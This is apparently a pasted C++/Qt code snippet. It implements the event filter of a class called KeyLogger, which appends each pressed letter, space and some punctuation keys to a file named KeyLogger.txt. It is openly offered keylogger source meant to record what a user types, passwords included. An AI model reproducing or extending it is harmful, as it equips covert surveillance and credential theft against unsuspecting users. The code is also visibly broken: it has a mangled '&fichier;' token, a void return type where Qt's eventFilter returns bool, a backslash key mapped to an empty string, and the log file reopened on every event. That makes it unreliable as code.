void KeyLogger::eventFilter(QObject *watched, QKeyEvent *event)
{
QFile fichier("KeyLogger.txt");
fichier.open(QIODevice::ReadWrite | QIODevice::Text);
QString texte;
texte = fichier.readAll();
QTextStream flux(&fichier;);
if(event->type() == QEvent::KeyPress)
{
QKeyEvent *clavier = dynamic_cast<QKeyEvent *>(event);
if(clavier && clavier->key() == Qt::Key_A)
{
flux << "A";
}
else if(clavier && clavier->key() == Qt::Key_Z)
{
flux << "Z";
}
else if(clavier && clavier->key() == Qt::Key_E)
{
flux << "E";
}
else if(clavier && clavier->key() == Qt::Key_R)
{
flux << "R";
}
else if(clavier && clavier->key() == Qt::Key_T)
{
flux << "T";
}
else if(clavier && clavier->key() == Qt::Key_Y)
{
flux << "Y";
}
else if(clavier && clavier->key() == Qt::Key_U)
{
flux << "U";
}
else if(clavier && clavier->key() == Qt::Key_I)
{
flux << "I";
}
else if(clavier && clavier->key() == Qt::Key_O)
{
flux << "O";
}
else if(clavier && clavier->key() == Qt::Key_P)
{
flux << "P";
}
else if(clavier && clavier->key() == Qt::Key_Q)
{
flux << "Q";
}
else if(clavier && clavier->key() == Qt::Key_S)
{
flux << "S";
}
else if(clavier && clavier->key() == Qt::Key_D)
{
flux << "D";
}
else if(clavier && clavier->key() == Qt::Key_F)
{
flux << "F";
}
else if(clavier && clavier->key() == Qt::Key_G)
{
flux << "G";
}
else if(clavier && clavier->key() == Qt::Key_H)
{
flux << "H";
}
else if(clavier && clavier->key() == Qt::Key_J)
{
flux << "J";
}
else if(clavier && clavier->key() == Qt::Key_K)
{
flux << "K";
}
else if(clavier && clavier->key() == Qt::Key_L)
{
flux << "L";
}
else if(clavier && clavier->key() == Qt::Key_M)
{
flux << "M";
}
else if(clavier && clavier->key() == Qt::Key_W)
{
flux << "W";
}
else if(clavier && clavier->key() == Qt::Key_X)
{
flux << "X";
}
else if(clavier && clavier->key() == Qt::Key_C)
{
flux << "C";
}
else if(clavier && clavier->key() == Qt::Key_V)
{
flux << "V";
}
else if(clavier && clavier->key() == Qt::Key_B)
{
flux << "B";
}
else if(clavier && clavier->key() == Qt::Key_N)
{
flux << "N";
}
else if(clavier && clavier->key() == Qt::Key_Slash)
{
flux << "/";
}
else if(clavier && clavier->key() == Qt::Key_Backslash)
{
flux << "";
}
else if(clavier && clavier->key() == Qt::Key_Comma)
{
flux << ",";
}
else if(clavier && clavier->key() == Qt::Key_Period)
{
flux << ".";
}
else if(clavier && clavier->key() == Qt::Key_Exclam)
{
flux << "!";
}
else if(clavier && clavier->key() == Qt::Key_Question)
{
flux << "?";
}
else if(clavier && clavier->key() == Qt::Key_Underscore)
{
flux << "_";
}
else if(clavier && clavier->key() == Qt::Key_Space)
{
flux << " ";
}
}
}Add a code snippet to your website: www.paste.org